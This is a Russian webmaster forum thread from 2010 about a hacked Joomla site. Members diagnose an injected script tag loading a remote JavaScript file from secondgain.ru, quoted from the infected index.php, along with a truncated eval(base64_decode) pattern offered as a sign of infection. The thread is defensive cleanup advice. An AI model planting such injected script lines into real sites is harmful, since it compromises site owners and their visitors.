Вернуться   SEO форум - оптимизация и продвижение сайтов > Web разработки > Безопасность

Важная информация
Безопасность - Помощь в обнаружении и удалении вредоносного кода с сайта. Устранение последствий взлома. Все о веб безопасности.

Ответ
 
Опции темы Оценить тему Опции просмотра
Старый 06.08.2010, 20:40   #1
 
Аватар для jessica
 
Сообщений: 218
FR (активность): 11,279

Доп. информация
По умолчанию Автор темы SOS!!!Не могу зайти на сайт!

Всем здравствуйте!

Помогите, пожалуйста, решить проблему!
При попытке зайти на сайт появляется надпись:

Parse error: syntax error, unexpected '<' in /home/ladyexpo/public_html/index.php on line 90

Сегодня абсолютно ничего с ним не делала, даже в админку не заходила. Надпись появилась ни с того, ни с сего!
Что это за ерунда такая?
jessica вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 06.08.2010, 21:21   #2
 
Аватар для md5u
 
Сообщений: 89
FR (активность): 3,027

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

Синтаксическая ошибка в файле index.php в строке 90.

Добавлено через 50 секунд
Лучше выложите этот файл на форум.
md5u вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 06.08.2010, 21:47   #3
 
Аватар для jessica
 
Сообщений: 218
FR (активность): 11,279

Доп. информация
По умолчанию Автор темы Re: SOS!!!Не могу зайти на сайт!

Цитата:
Сообщение от md5u Посмотреть сообщение
Синтаксическая ошибка в файле index.php в строке 90.

Добавлено через 50 секунд
Лучше выложите этот файл на форум.
В строке 90-98 стоит вот что:
</style>
<![endif]-->
<?php endif; ?>

<style type="text/css">
#ja-header,#ja-mainnav,#ja-container,#ja-botsl,#ja-footer {width: <?php echo $tmpWidth; ?>;margin: 0 auto;}
#ja-wrapper {min-width: <?php echo $tmpWrapMin; ?>;}
</style>

Связалась с тех.поддержкой, пишут:

Скорее всего скрипты Вашего сайта были повреждены вирусом.
Вам нужно компьютеры, имеющие доступ на ФТП проверить на вирусы.
Сменить пароли от ФТП

Хотя, вчера муж проверил комп антивирусником и снес все файлы, где хоть намек на вирус был.
И сегодня до обеда сайт работал...Правда, я на него с другого компа заходила, но разве это имеет значение?
jessica вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 06.08.2010, 22:02   #4
 
Аватар для md5u
 
Сообщений: 89
FR (активность): 3,027

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

Без файла index.php ничего не сделать? нужно полностью код посмотреть. (т.е. что перед 90 строкой стоит)
md5u вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 06.08.2010, 22:12   #5
 
Аватар для Umka
 
Сообщений: 4,143
FR (активность): 80,659

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

Цитата:
Сообщение от jessica Посмотреть сообщение
муж проверил комп антивирусником
Не те вирусы, что дома, а те, что на сервере живут...
Для начала проверьте размер файлов: обратите внимание на размер index.html Его размер должен быть 44 байта (пустой). Если в нем какая-то пурга, типо:
<script src=http:/ссылка_на_левый_сайт></script><body> - поздравляю, Вы сорвали банк....
Аналогично, если php-файлы содержат в самом начале нечто вроде:
<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnam 5...........
- тоже самое. Это он, это он (но не ленинградский почтальон).


Далее: поскольку админка у Вас работает - сделайте для начала вот что: зайдите в админку, если стоит joomla pak или нечто для резервного копирования сайта, то сделайте бэкап. Попробуйте отключить компрессию страниц, очистите кэш, очистите "устаревший кэш", попробуйте зайти на сайт.
Независимо от результата - бэкап к себе на локальный комп, сайт выключить и проверять под мелкоскопом на локале.
Возьмите последний пакет обновления джумлы, обновите файлы.
Потестьте на локале. Если после чистки, обновления джумлы и пр. - ошибок нет, заливайте на хостинг, разворачивайте. Чем чаще будете делать резервные копии в процессе - тем лучше...

З.Ы. Самое главное: терпение, спокойствие.
"Лучше день потерять, потом за пять минут долететь!" (це)
Umka вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 06.08.2010, 22:13   #6
 
Аватар для jessica
 
Сообщений: 218
FR (активность): 11,279

Доп. информация
По умолчанию Автор темы Re: SOS!!!Не могу зайти на сайт!

Цитата:
Сообщение от md5u Посмотреть сообщение
Без файла index.php ничего не сделать? нужно полностью код посмотреть. (т.е. что перед 90 строкой стоит)
Давайте я лучше его Вам в личку скину? Не хочется на всеобщее обозрение выставлять...Мало ли что...

Добавлено через 15 минут
Цитата:
Сообщение от umka from ufa Посмотреть сообщение
Не те вирусы, что дома, а те, что на сервере живут...
Для начала проверьте размер файлов: обратите внимание на размер index.html Его размер должен быть 44 байта (пустой). Если в нем какая-то пурга, типо:
<script src=http:/ссылка_на_левый_сайт></script><body> - поздравляю, Вы сорвали банк....
Аналогично, если php-файлы содержат в самом начале нечто вроде:
<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnam 5...........
- тоже самое. Это он, это он (но не ленинградский почтальон).


Далее: поскольку админка у Вас работает - сделайте для начала вот что: зайдите в админку, если стоит joomla pak или нечто для резервного копирования сайта, то сделайте бэкап. Попробуйте отключить компрессию страниц, очистите кэш, очистите "устаревший кэш", попробуйте зайти на сайт.
Независимо от результата - бэкап к себе на локальный комп, сайт выключить и проверять под мелкоскопом на локале.
Возьмите последний пакет обновления джумлы, обновите файлы.
Потестьте на локале. Если после чистки, обновления джумлы и пр. - ошибок нет, заливайте на хостинг, разворачивайте. Чем чаще будете делать резервные копии в процессе - тем лучше...

З.Ы. Самое главное: терпение, спокойствие.
"Лучше день потерять, потом за пять минут долететь!" (це)
Боже мой, как все сложно!
Весь index.php просмотрела - ничего типа "ленинградского почтальона" не наблюдается.
А как узнать размер файла? Там 382 строки.
Кэш очистила, старый удалила. А где отключается компрессия страниц?
joomla pak у меня в админке нет. Как тогда сдалать бэкап? Объясните поподробнее тем, кто "в танке", никогда раньше этим не занималась, понятия не имею, как это делается...
Да еще и голова не совсем соображает, гарью торфяной надышалась, уж простите за глупые вопросы.
jessica вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 06.08.2010, 22:57   #7
 
Аватар для Umka
 
Сообщений: 4,143
FR (активность): 80,659

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

Цитата:
Сообщение от jessica Посмотреть сообщение
гарью торфяной надышалась
Тады ложитесь спать. Утро вечера мудренее....
Компрессия - Сайт - Общие настройки - Сервер - GZIP-сжатие страниц.....
Про компрессию - это я на всякий случай. Возможно, но маловероятно.

Пока лучше просто отключите "Сайт - Общие настройки - Установки сайта - Сайт выключен - Да", а завтра со свежей головой будете "в рынду бить"........

З.Ы. С утра выложу куда нить бэкапалку для сайта..
Umka вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 06.08.2010, 22:58   #8
 
Аватар для Grinkoff
 
Сообщений: 753
FR (активность): 22,237

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

Цитата:
Сообщение от jessica Посмотреть сообщение
В строке 90-98 стоит вот что:
</style>
<![endif]-->
<?php endif; ?>

<style type="text/css">
#ja-header,#ja-mainnav,#ja-container,#ja-botsl,#ja-footer {width: <?php echo $tmpWidth; ?>;margin: 0 auto;}
#ja-wrapper {min-width: <?php echo $tmpWrapMin; ?>;}
</style>
Пришлите мне в личку двадцать строчек кода до 90 строки (включительно), попробую вам помочь


Хочешь заработать на новую машину?
Grinkoff вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 07.08.2010, 12:12   #9
 
Аватар для jessica
 
Сообщений: 218
FR (активность): 11,279

Доп. информация
По умолчанию Автор темы Re: SOS!!!Не могу зайти на сайт!

Народ,

я поняла, в чем дело! Я смотрела не корневой index.php, а тот, что в templates!
А корневой вот:
<?php
/**
* @version $Id: index2.php 11407 2009-01-09 17:23:42Z willebil $
* @package Joomla
* @copyright Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

$_REQUEST['tmpl'] = 'component';
include('index.php');
<script type="text/javascript" src="http://secondgain.ru/Tebibyte.js"></script>
<!--44b7b9f3968687e204bc5c742508c5e5-->

Меня смущает последняя строчка. Это что, вирус???
Что же теперь делать? Enybody HELP me!!!

P.s.И 90-й строчки там нет...
jessica вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 07.08.2010, 12:39   #10
 
Аватар для Grinkoff
 
Сообщений: 753
FR (активность): 22,237

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

Цитата:
Сообщение от jessica Посмотреть сообщение
Народ,

я поняла, в чем дело! Я смотрела не корневой index.php, а тот, что в templates!
А корневой вот:
<?php
/**
* @version $Id: index2.php 11407 2009-01-09 17:23:42Z willebil $
* @package Joomla
* @copyright Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

$_REQUEST['tmpl'] = 'component';
include('index.php');
<script type="text/javascript" src="http://secondgain.ru/Tebibyte.js"></script>
<!--44b7b9f3968687e204bc5c742508c5e5-->

Меня смущает последняя строчка. Это что, вирус???
Что же теперь делать? Enybody HELP me!!!

P.s.И 90-й строчки там нет...
Вообще-то joomla обращается к index.php тому что в папке templates, но в данном случае это не важно ... потому как у вас выполняется какой-то сторонний скрипт ... secondgain.ru/Tebibyte.js ... что это такое боюсь даже представить, хотя возможно это ваши расширения ... а сейчас у вас при заходе на сайт стоит Restricted acess

Пы.Сы. По поводу что делать ... если есть бэкап сайта ... то можно перезалить джумлу вместе с шаблоном, если нет бекапа, то ... первое, завести себе правило - делать бекап каждую неделю, второе ... найти установочную джумулу, которую вы ставили изначально, взять из нее index.php (который корневой) и залить на сайт ... ну а дальше ... попробуйте, а по результатам будем смотреть.


Хочешь заработать на новую машину?
Grinkoff вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
"Спасибо" от:
jessica (07.08.2010)
Старый 07.08.2010, 12:58   #11
 
Аватар для Umka
 
Сообщений: 4,143
FR (активность): 80,659

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

1. Это вирус.
2. То, что писал до этого. Сайт выключайте и чистите все скрипты.
3. index.php, тот что в корне - возьмите из чистой джумлы и перепишите поверх...

Пысы. Я зимой от такой штуки неделю избавлялся... Поменяйте еще пароль на ФТП, проверьте права доступа на файлы и папки.

в аттаче - index.php о джумлы 1.15.20. Можно просто переписать этим, тот, что у Вас в корне сайта (если 1.15.20 версия, если нет - скажите какая - выложу)....
Вложения
Тип файла: rar index1520.rar (1.9 Кб, 1 просмотров)
Umka вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
"Спасибо" от:
ligne_pure (07.08.2010)
Старый 07.08.2010, 13:42   #12
 
Аватар для jessica
 
Сообщений: 218
FR (активность): 11,279

Доп. информация
По умолчанию Автор темы Re: SOS!!!Не могу зайти на сайт!

Перезаписала index.php, после чего появилось: Restricted access
У меня версия 1.5.15, бэкап не делала. А можно ее до 1.5.20. обновить?
jessica вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 07.08.2010, 14:01   #13
 
Аватар для Umka
 
Сообщений: 4,143
FR (активность): 80,659

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!

Цитата:
Сообщение от jessica Посмотреть сообщение
А можно ее до 1.5.20. обновить?
Да можно.
Пакеты обновления здесь:
http://joomlacode.org/gf/project/joo...ackage_id=5325

Ваш этот: Joomla_1.5.15_to_1.5.20-Stable-Patch_Package.zip

Руссификатор для 1.15.20 - в скрепке...

И вот этот адрес в закладки добавить не забудьте: http://joomlaportal.ru/
Вложения
Тип файла: zip ru-RU_joomla_lang_admin.1.5.20v1.zip (116.4 Кб, 5 просмотров)
Тип файла: zip ru-RU_joomla_lang_site.1.5.20v1.zip (53.8 Кб, 4 просмотров)
Umka вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
"Спасибо" от:
jessica (07.08.2010)
Старый 07.08.2010, 14:02   #14
 
Аватар для jessica
 
Сообщений: 218
FR (активность): 11,279

Доп. информация
По умолчанию Автор темы Re: SOS!!!Не могу зайти на сайт!

Объясните, пожалуйста, откуда мог взяться этот вирус? Он на сервере? Не на компе ведь?
Т.е., если на сервере, то может мне поможет тех.поддержка? Это ведь в их компетенции?

Добавлено через 1 час 14 минут
Пытаюсь перезалить файлы по ФТП, открывается окошко "такой файл уже существует" Перезаписать? Жму "OK", а окошко не закрывается!
Пытаюсь закрыть через крестик вверху- не получается!!!
Что делать?
jessica вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 07.08.2010, 15:31   #15
 
Аватар для ligne_pure
 
Сообщений: 584
FR (активность): 6,923

Доп. информация
По умолчанию Re: SOS!!!Не могу зайти на сайт!


У меня сегодня та же самая фигня


Дизайн — это не красивая картинка, это решение поставленной задачи.
ligne_pure вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Ответ

Быстрый ответ
Ваше имя пользователя: Регистрация. Для входа нажмите здесь
Случайный вопрос

Сообщение:
Опции
Внимание!
Этой теме более 4300 дней. Вы можете оставить сообщение здесь. Но, обращаем внимание. Возможно, рациональней создать новую тему (найти свежее обсуждение)?


Опции темы
Опции просмотра Оценка этой теме
Оценка этой теме:

Ваши права в разделе
Вы не можете создавать новые темы
Вы можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

Текущее время: 17:25. Часовой пояс GMT +3.